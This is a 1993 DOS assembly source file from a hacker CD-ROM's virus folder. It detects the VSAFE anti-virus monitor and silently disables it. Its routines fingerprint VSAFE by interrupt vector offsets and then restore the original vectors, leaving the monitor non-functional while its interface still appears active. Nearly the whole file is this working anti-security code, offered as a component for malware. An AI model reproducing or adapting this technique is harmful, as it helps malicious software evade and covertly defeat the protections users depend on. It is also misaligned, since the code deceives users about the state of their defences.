home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / pc / virus / anti_mon.asm / text0000.txt < prev   
Encoding:
Text File  |  2003-06-11  |  10.0 KB  |  258 lines

  1. ;***********************************************************************
  2. ***********************
  3. ;*                                                                      
  4.                       *
  5. ;*      FILE:     ANTI-MON.ASM (c) 1993                                 
  6.                       *
  7. ;*      PURPOSE:  Detect and remove a TSR anti-viral monitor            
  8.                       *
  9. ;*      AUTHOR:   Willoughby    DATE: 05/09/93                          
  10.                       *
  11. ;*                                                                      
  12.                       *
  13. ;***********************************************************************
  14. ***********************
  15.  
  16. MAIN    SEGMENT BYTE
  17.         ASSUME  CS:MAIN,DS:MAIN,ES:MAIN
  18.  
  19.         ORG     100H
  20.  
  21. ;***********************************************************************
  22. ***********************
  23. ;The purpose of this routine is simply to demonstrate the function of 
  24. the FIND_AV_MON and 
  25. ;NEUT_AV_MON routines.  It displays a message based upon the results of 
  26. the test for TSR anti-
  27. ;viral monitor interrupt vectors performed by the FIND_AV_MON routine 
  28. and the action taken, if 
  29. ;needed, by the NEUT_AV_MON routine.  
  30.  
  31. START:  call    FIND_AV_MON                     ;check for installed 
  32. anti-viral monitors
  33.         jc      MP1                             ;if carry is set, a 
  34. monitor is present 
  35.         mov     dx,OFFSET NOT_HERE_MSG          ;if not, display 
  36. appropriate message
  37.         jmp     MPEX                            ;during exit
  38. MP1:    cmp     WORD PTR [MONITOR_TYPE],0       ;check for type/version 
  39. of monitor present
  40.         mov     dx,OFFSET MON0_HERE_MSG 
  41.         je      MP2                             ;if MONITOR_TYPE = 0, 
  42. display v1.0 message
  43.         mov     dx,OFFSET MON1_HERE_MSG         ;otherwise, display v6.0 
  44. message
  45. MP2:    mov     ah,9
  46.         int     21H
  47.         call    NEUT_AV_MON                     ;then restore vectors to 
  48. original values 
  49.         mov     dx,OFFSET BUT_NOW_MSG           ;display monitor removal 
  50. message
  51. MPEX:   mov     ah,9
  52.         int     21H
  53.         mov     ax,4C00H                        ;exit program
  54.         int     21H
  55.  
  56. NOT_HERE_MSG:   
  57.         DB      0DH,0AH,'VSAFE is not present.',0DH,0AH,24H
  58. MON0_HERE_MSG:
  59.         DB      0DH,0AH,7,'VSAFE v1.0 is present.',0DH,0AH,24H
  60. MON1_HERE_MSG:
  61.         DB      0DH,0AH,7,'MS-DOS 6.0 VSAFE is present',0DH,0AH,24H
  62. BUT_NOW_MSG:
  63.         DB      0DH,0AH,'But now, it just APPEARS to be.',0DH,0AH,24H
  64.  
  65.  
  66. ;***********************************************************************
  67. ***********************
  68. ;This routine tests for the presence in memory of two versions of VSAFE 
  69. by comparing the 
  70. ;offsets of the interrupt vectors stolen during VSAFE's installation 
  71. with known VSAFE interrupt 
  72. ;handler offsets.  When it finds any three offset values in the system 
  73. interrupt vector table 
  74. ;which match the VSAFE offsets for the corresponding interrupt, the 
  75. carry flag is set to 
  76. ;indicate the presence of VSAFE in memory to the calling routine.  The 
  77. segment in which VSAFE 
  78. ;resides is stored in MONITOR_SEGMENT and the VSAFE version stored in 
  79. MONITOR_TYPE for use by 
  80. ;the NEUT_AV_MON routine. 
  81.  
  82. NUM_MONITORS    EQU     2                       ;# of anti-viral monitor 
  83. types to check for
  84. NUM_VECTORS     EQU     8                       ;# of interrupt vector 
  85. table entries to check
  86. MATCHES_REQ     EQU     3                       ;# of offset matches 
  87. required for positive ID
  88.  
  89. FIND_AV_MON:
  90.         push    es
  91.         xor     ax,ax
  92.         mov     es,ax                           ;set ES to segment of 
  93. interrupt vector table
  94.         mov     cx,NUM_VECTORS                  ;set loop counter to # 
  95. of vectors to check 
  96.         mov     si,OFFSET VECTOR_OFFSETS        ;point SI to start of 
  97. vector offset string
  98. FAMLP1: lodsw                                   ;load vector table 
  99. offset of first vector
  100.         mov     bx,ax
  101.         mov     dx,w[es:bx]                     ;load offset of vector 
  102. from table
  103.         xor     di,di                          
  104. FAMLP2: lodsw                                   ;load offset value used 
  105. by anti-viral monitor
  106.         cmp     dx,0FFFFH                       ;test for skip vector 
  107. check value
  108.         je      FAMLP3                          ;if skip value (FFFFH), 
  109. exit inner loop
  110.         cmp     dx,ax                           ;does vector table value 
  111. match monitor value?
  112.         jne     FAMLP3                                          ;if not, 
  113. jump to end of loop
  114.         inc     BYTE PTR [OFFSET TOTAL_MATCHES+di]              ;if so, 
  115. increment match counter
  116.         cmp     BYTE PTR [OFFSET TOTAL_MATCHES+di],MATCHES_REQ  
  117. ;required # of matches found?
  118.         jne     FAMLP3                                          ;if not, 
  119. jump to end of loop
  120.         add     bx,2                            ;set BX to point at 
  121. vector segment value
  122.         mov     ax,WORD PTR [es:bx]             ;load anti-viral seg. 
  123. value from vector table
  124.         mov     MONITOR_SEGMENT,ax              ;store segment value
  125.         mov     MONITOR_TYPE,di                 ;store monitor number 
  126. indicating version/type
  127.         stc                                     ;set carry flag to 
  128. indicate monitor was found
  129.         jmp     FAMEX                           
  130. FAMLP3: inc     di                              ;increment monitor 
  131. number
  132.         cmp     di,NUM_MONITORS                 ;all monitor values 
  133. checked for this vector?
  134.         jne     FAMLP2                          ;if not, do it all again
  135.         loop    FAMLP1                          ;if all vectors not 
  136. checked, loop to check next
  137.         clc                                     ;clear carry flag to 
  138. indicate no monitor found
  139. FAMEX:  pop     es
  140.         ret                                     
  141.  
  142. MONITOR_SEGMENT DW      ?                       ;storage location for 
  143. monitor segment value
  144. MONITOR_TYPE    DW      ?                       ;ditto for monitor type
  145.  
  146. TOTAL_MATCHES:  DB      NUM_MONITORS    DUP     ?       ;table for 
  147. vector match counts
  148.  
  149. VECTOR_OFFSETS:
  150.         DW      004CH,1039H,0352H               ;INT 13H, VSAFE1 offset, 
  151. VSAFE6 offset
  152.         DW      0058H,12CDH,05DDH               ;INT 16H
  153.         DW      0080H,138CH,06BCH               ;INT 20H
  154.         DW      0084H,15F7H,0940H               ;INT 21H
  155.         DW      009CH,1887H,0C0CH               ;INT 27H
  156.         DW      00BCH,2476H,1440H               ;INT 2FH
  157.         DW      0100H,1254H,05CBH               ;INT 40H
  158.         DW      0024H,0FFFFH,02AFH              ;INT 09H (FFFFH = skip 
  159. vector offset check)
  160.  
  161.  
  162. ;***********************************************************************
  163. ***********************
  164. ;This routine restores all but the keyboard interrupt vectors to their 
  165. original values prior 
  166. ;to the residency of VSAFE.  This is accomplished by moving the 
  167. original, unencrypted (!?) 
  168. ;vector values stored within VSAFE to their respective locations in the 
  169. system interrupt vector 
  170. ;table.  VSAFE is, thereby, completely disabled, but appears to be fully 
  171. functional because its 
  172. ;user interface continues to respond correctly to user inputs.  This 
  173. routine uses the monitor 
  174. ;segment (MONITOR_SEGMENT) and monitor type/version (MONITOR_TYPE) 
  175. values returned by the
  176. ;FIND_AV_MON routine. 
  177.  
  178. TABLE_SEGMENT   EQU     0                       ;interrupt vector table 
  179. segment
  180. NUM_RESTORE     EQU     6                       ;number of vectors to 
  181. restore
  182.  
  183. NEUT_AV_MON:
  184.         push    es
  185.         mov     ax,OFFSET MON2_OFFSETS
  186.         sub     ax,OFFSET MON1_OFFSETS
  187.         mul     WORD PTR [MONITOR_TYPE]         ;calc. string offset for 
  188. monitor type/version
  189.         mov     si,OFFSET MON1_OFFSETS         
  190.         add     si,ax                           ;point to first value in 
  191. desired monitor string
  192.         mov     di,OFFSET TABLE_OFFSETS         ;ditto for table offset 
  193. string
  194.         mov     cx,NUM_RESTORE                  ;set counter to number 
  195. of vectors to restore  
  196. RESTORE_VECTS:
  197.         mov     bx,WORD PTR [si]                ;load monitor offset of 
  198. original vector value
  199.         cmp     bx,0FFFFH                       ;test for skip restoral 
  200. value
  201.         je      SKIP                            ;if skip value (FFFFH), 
  202. then jump to loop
  203.         mov     es,MONITOR_SEGMENT              ;set ES to monitor 
  204. segment
  205.         mov     ax,WORD PTR [es:bx]             ;load original vector 
  206. offset from monitor
  207.         mov     ORIGINAL_OFF,ax                 ;store in scratch pad
  208.         mov     ax,WORD PTR [es:bx+2]           ;load original vector 
  209. segment from monitor
  210.         mov     ORIGINAL_SEG,ax                 ;store in scratch pad
  211.         mov     bx,WORD PTR [di]                ;load corresponding int. 
  212. vector table offset
  213.         mov     es,TABLE_SEGMENT                ;set ES to int. vector 
  214. table segment
  215.         mov     ax,ORIGINAL_OFF                 ;load original vector 
  216. offset
  217.         mov     WORD PTR [es:bx],ax             ;store original offset 
  218. in vector table
  219.         mov     ax,ORIGINAL_SEG                 ;load original vector 
  220. segment
  221.         mov     WORD PTR [es:bx+2],ax           ;store original segment 
  222. in vector table
  223. SKIP:   add     si,2                            ;point SI to next string 
  224. value
  225.         add     di,2                            ;ditto for DI
  226.         loop    RESTORE_VECTS                   ;loop to restore next 
  227. vector
  228.         pop     es
  229.         ret                                     ;all done, monitor is 
  230. totally neutralized
  231.  
  232. ORIGINAL_OFF    DW      ?                       ;temp. storage for 
  233. original int. vector offset
  234. ORIGINAL_SEG    DW      ?                       ;ditto for segment
  235.  
  236. TABLE_OFFSETS:
  237.         DW      004CH,0080H,0084H,009CH,00BCH,0100H     ;offsets to INT 
  238. vector table
  239.  
  240. MON1_OFFSETS:                                           ;VSAFE v1.0 
  241. offsets where
  242.         DW      1967H,196FH,1977H,197BH,242AH,197FH     ;original 
  243. vectors are stored
  244.                                                         ;(FFFFH = skip 
  245. vector restoral)
  246.  
  247. MON2_OFFSETS:                                           ;MS-DOS 6.0 
  248. VSAFE offsets where 
  249.         DW      0DB3H,0DBBH,0DC3H,0DC7H,141EH,0DCBH     ;original 
  250. vectors are stored
  251.                                                         ;(FFFFH = skip 
  252. vector restoral)
  253.  
  254. MAIN    ENDS
  255.  
  256.  
  257.  
  258.